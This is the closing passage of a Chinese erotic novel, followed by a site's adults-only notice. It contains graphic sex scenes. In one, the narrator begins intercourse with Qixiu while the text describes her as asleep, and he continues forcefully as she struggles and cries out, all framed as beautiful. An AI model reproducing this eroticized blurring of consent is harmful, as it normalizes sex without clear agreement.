我想起那天刘贵肯定也是这样,不禁有些好笑,故意在她屁眼周围转圈,月秋转了脸:“别碰那儿,好脏。”


我趴俯在她背上,手捉住她的乳房揉捏着,轻声说:“听刘贵说你这儿很干净啊。”


月秋啐了声:“死人!”也不知骂我还是骂刘贵。


窗外有模糊的光亮透进来,看得见她黄色薄布衣裳,我说:“把衣服也脱了吧。”


月秋细声细声说:“快一点,别让人看见。”


我的东西却刚好停在她湿湿的穴口,顶了一下,月秋“哼”了一声,听得我火动,也顾不上脱她衣裳了,扶着对准了,一下冲了进去。


月秋“――噢!”的叫了声,转了头,喘着气轻声说:“你的比他大。”听得我骨头都硬起来,就一下一下狠狠地撞击,每顶一下,月秋身子就一抖,往前冲一些,一会扒在桌上,将屁股高高翘起,嘴里直叫:“啊!――嗯!――不行了!―――用力点!――噢!”她的肉很松嫩,每撞一下,“啪”的一声,屁股上的嫩肉随着一抖,和着她的叫声,很有节奏感。


中间停歇的时候,我在她身上到处揉捏,她非常的敏感,每一下似乎都能从她身上捏挤出声音来,“哼”“嗯”不绝,有时还说话:“啊!轻一点”,“往上一些”,“别摸那里,好痒!”,“好了,可以了”……似乎想到什么就说什么,听起来十分天真诱人。


让她拿着我的阴茎,她转过身,竟蹲低了,将它含进去,口中模模糊糊,“嗯”“呜”不绝,吸添了一会,退出来,用手轻摸,轻轻地说了声:“很干净。”


我轻笑一声,说:“让我看看你的。”


月秋说:“不要啦。”


我将她推在桌旁:“来嘛!”她就躺倒了,我最近开始抽上烟了,带着火,分开她双腿就照。


月秋惊叫一声:“别!――让人看到啦!”


一瞬间,已经看清,她那儿的阴毛跟她头发相似,柔柔的,黄黄的,比较稀疏。中间肉色粉红,嫩得跟小溪里的河蚌肉一样,湿润淫靡。我低下头,嘬了一下,月秋吸了口气。我开始舔起来,她的腿一开一合,鼻间如小孩吸鼻涕,一声声,渐渐哀唤出来,身子在桌上翻来滚去。


我将肉棍停在她穴口,上下不停地撩划着她的肉唇,月秋忍不住了,不时挺高一下屁股,腿儿夹闭一下,叫:“快进来啊!”我定定的停在穴口,突然猛冲过去,月秋“啊”的一声叫唤,挺高了上半身,又倒下去。


我将身子压在她身上,底下不紧不慢地抽动,一边喘吁吁地问:“舒服吗?”


月秋咿咿呜呜半响,忽然停下来说一声:“舒服。”声音又乖又娇。


我的手在她胸乳上揉搓着,感觉她的乳房娇软如绵,虽然弹力不如七秀,但摸上去,手心象化在她胸乳间一样,别具一种娇美柔弱之感,十分过瘾。加上随手一使劲,月秋的鼻间就哼唧一声,让人忍不住有狂抽她的冲动。


一会儿,感觉下边越戳越紧,月秋的呻吟也越千变万化,一时细不可闻,一时又喊叫出声。将她的双腿举高了,底下开始足足实实地顶在她嫩肉中,月秋不再叫唤了,只一个劲儿娇喘,一下紧似一下,小腹一鼓一鼓的。最后她的小腿耷拉下来,在我肩上,手在腰旁抓舞。


忽然,她的喘息急促起来,小腿一下伸得笔直,大声叫唤:“嗯――啊――不行了―――我―――啊!”最后一声又大又长,象那天她跟刘贵一样,我忙掩住了她的嘴。


她的阴中不住收缩痉挛,如一张无牙的嘴,一抿一抿,热乎乎地将阴茎一圈一放。我按住她疯狂地抽送,她的身子软摊开来,一只手拽在我头发上,手臂娇软弯曲,牵牵连连的,我猛冲几下,突然停在里头,破开来,浆液喷射,打在她体内。她身子一抖,居然还有一股水儿流下,温温的在茎身蔓延,说不出的暖融舒服。


我久久的停在她体内,两个人一动不动,如死了一般。这时候,我忘了七秀,忘了刘贵,只觉身子沉沉的,一种难言的无所顾忌的欢乐和满足,在心间游荡。


月秋先爬起身,在我鼻子上咬了一口,轻轻一笑。我们象一对放肆的偷情男女,只觉得这整个黑暗中的天地都是我们的,不停的嬉闹。


在窗口,月秋静静地缩在我怀里,我们望着金水家,那儿灯火通明,念经与法器敲响的声音隐约可闻。我心想,至少这一夜,月秋是属于我的,而我,是属于月秋的。


(六)


金水爷爷的葬礼,就像一块大石头,投进了花边村这一池水,热闹了几天,又平静了下来。


客人陆续走了,学生回到课堂。天气渐渐的越来越热,马上就快放暑假了,我也不知道那位生病的老师下学期能不能复课,舅舅来了一两次,也没提起。


月秋在葬礼结束后,去了刘贵家,一直没回来。接着几日,下了几场雨。初夏的雨,我本来一向很喜欢的。最近心里有些乱,雨一下,却更添了烦躁。在屋里,乱翻着一些书,七秀家近在咫尺,我也没去找她。


我想,我是被自己的欲望将心绪弄乱了。与月秋偷那一回时,我完全被欲望紧紧抓住了,没有任何顾忌,事后,竟有种身心残破的感觉。我没有勇气去接近七秀。


我呆呆的坐在床上,对着一盏油灯发愣,什么都想,又什么都没想。心情坏透之下,我觉得自己很丑陋,很憔悴。一时竟有种冲动,盼着碧花嫂能来,再与她狂乱一回,胡天胡帝,彻底地堕落。


正在胡思乱想,突然听到有敲门声,我心狂跳,此时来任何一个女人,我都不会放过!


开门却没人,我怔怔半响,七秀从墙侧转过来,有点害羞,有点调皮。那一下,我说不出心里是失望还是高兴。


七秀很少主动来我这。因此她也用稍带调皮的方式掩饰她的羞涩。


几天不见,七秀又给了我一种陌生新鲜的感觉,特别是在这样突如其来的夜晚。我说:“哦,进来,坐吧。”语气中竟然有些客气。


七秀今天穿得很薄,是个短袖上衣。白白的胳膊露着,新添了一份俏皮的肉感。一进屋,灯光照耀,她将一只手遮到自己另一只胳膊上,看来她很少穿这样的短袖,自己也不大习惯,整个人于是显得有些局促和害羞。


她的眼睛依旧清澈,有层雾气笼着,在屋中不安地游移着。七秀很灵,见我不似想象中的热情,她立即感觉到了。


我心里有些痛,不忍心了。挨近了她,拉着她的手,抱进怀中的一刻,我竟有想哭的感觉。脸贴着她冰滑的胳膊,我默然无语。


七秀摸着我的头,一遍一遍,当我含泪抬起头时,七秀第一次主动亲了我一下,那是不可捉摸的轻轻的一碰,触感只是凉凉的一点。我却能感觉到她双唇收回的刹那,那飘忽的一啜。甚至听到极其轻微的“啧”的一声。七秀就是被最后那轻微的一声羞坏了,红晕扑上了双颊。


我没有像平时那般趁机逗耍她。只是更深地将脑袋埋进了她的胸脯,七秀的乳房首次给我以母亲乳房的感觉,我沉进去,不想起来。


良久,七秀拉着我的手掌摇了摇,带我出了屋子。


雨已经停了两天,外头空气干爽,月色皎洁。七秀拉着我的手,一直到了她家坪前。


坪上并放着两张竹凉席,一张空着,一张被七秀弟弟小小的身子占了。花边属于山窝状盆地,夏夜比较闷热,没有电,不能使电风扇,村中人一般都在自家坪中放上竹席,歇到很迟,才回屋睡。


我今晚就是七秀的孩子!她领着我,坐到空竹席上。自己却将她弟弟身子往外挤了挤,和她弟弟躺一块竹凉席。


我面对着七秀躺下了。七秀也朝向我躺着,我们默默望着。黑夜里,七秀眼中流着光,脸蛋的轮廓像乳汁凝成。今夜她就像一首诗,带着生命的呼吸。周围的一切也都那么美,小虫在草丛里叫着,坪前的坡地很陡,下方隐约有几处黑黑的屋顶,远处是一大片农田。黑夜有自己的声音,那么远,那么寥廓。


我们四只手无声地绞在一块,然后将脑袋渐渐凑近,我们接吻了。


忘情地,我们吻着。不顾忌任何人,包括七秀弟弟醒来,包括七秀爹娘突然出来。我甚至希望七秀爹娘此时能走到坪上,看见我和七秀像现在这般亲吻,以凸显我们接吻的光明正大,与天地万物般的自自然然。


我的吻又落在了七秀的光胳膊上,随后又越过她的腰身,吻她的光脚踝、小腿肚。七秀今夜没有羞涩,七秀今夜像母亲般的宽容,摊开身子,甚至带着微微的引领,手按在我脑袋上,在我脑后、耳边轻摸。只是在我抚摸她股侧时,她微微含羞,转过身子。


月光下她的侧身像周围的山峦般起伏不定,带着母性的静谧。我半歪起身,隔着一段距离,手掌流过她的全身,像被凉风吹过,七秀的身子轻轻颤抖。


我掀起她腰后的衣角,滑上她圆润的腰身,用指尖沿着她裤边抚摸,诱惑就在手边,那忽然高高宽出的胯部,两只大腿卷含着的三角地,以及鱼尾一般缩收的腿儿。


七秀眼脸垂下,似乎沉睡在甜蜜的梦乡。


这时我打开她,瞒着整个村庄,悄悄打开了她。就像夜色席卷整个村庄,我进入了她,在她身后缓缓的抽动。


淹没她或是让她淹没我,无声无息的,我们开始做爱。


我渐渐顶到了深处,我的前胸和她后背紧紧贴着,没有一丝空隙,我的唇落在她腮边。那股力量还在增长,还在变得更强大,它的前端在蠕动,还在努力往里延伸,触到她深深埋藏的筋骨,她在打开,她在躲闪,她的柔滑,她的温润,被我一一击中。


七秀没有动弹,甚至没有呻唤,她守候着自己静静的梦。被我索取着,压榨着,要着。她在沉睡,所以她没有挣扎。


终于,听到她第一声低低的喘息。像从黑暗水底冒出的压抑不住的生命的水泡,被我挤碎了,散成更多细细的呻吟。


我的根部从她体内深处抽开,拉开一段距离,重新推进,像一根鞭子,一下下抽打过去,被她柔滑的软体握住、收束。而我不甘屈服,越来越用力,越来越狂乱,甚至开始疯狂的撞击。我完全不顾忌七秀弟弟就睡在旁边!


七秀守不住了,她在挣扎,她在躲避。太迟了!无数根鞭子,雨点般落在她的软体上,她的形状被冲乱,她的迎击柔弱无力,她终于低低地哭叫了!


我毫不怜惜,按住她一侧臀部,指尖深深地陷入。借着那点力,腰臀晃动,我的前端,一次次势不可挡地破开她,更深更沉地进入了她。就像一支锐利的锥子,刺着挣扎扭动的蛇身。她无处可逃,被我紧紧抓住。


七秀的崩溃突如其来,臀部忽忽地高起,不住地颤抖,她的内壁痉挛,紧紧绞着我的根部,四面溢开滑溜溜的水儿,擦洗着枪身,而我的坚硬,在那一霎,就要酥软,终于热热地破开了,我的挽留不住的体液一去不回。


我停在她体内,就像农夫倒在了田地,悠悠的挽歌响起,这个夜晚,无比美丽。


七秀转过身子,眼中含着泪花,我们开始一次无休无止的接吻,直到舌根有些麻木了,我将七秀拥进怀。


远山静默,农田静默,星空静默,整个花边沉浸入更深的夜里,无边的静默蔓延开来。


我的永生沉默的妹子,我的七秀,此时在我怀里,愿这一刻永远停留!


【全文完】

  

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]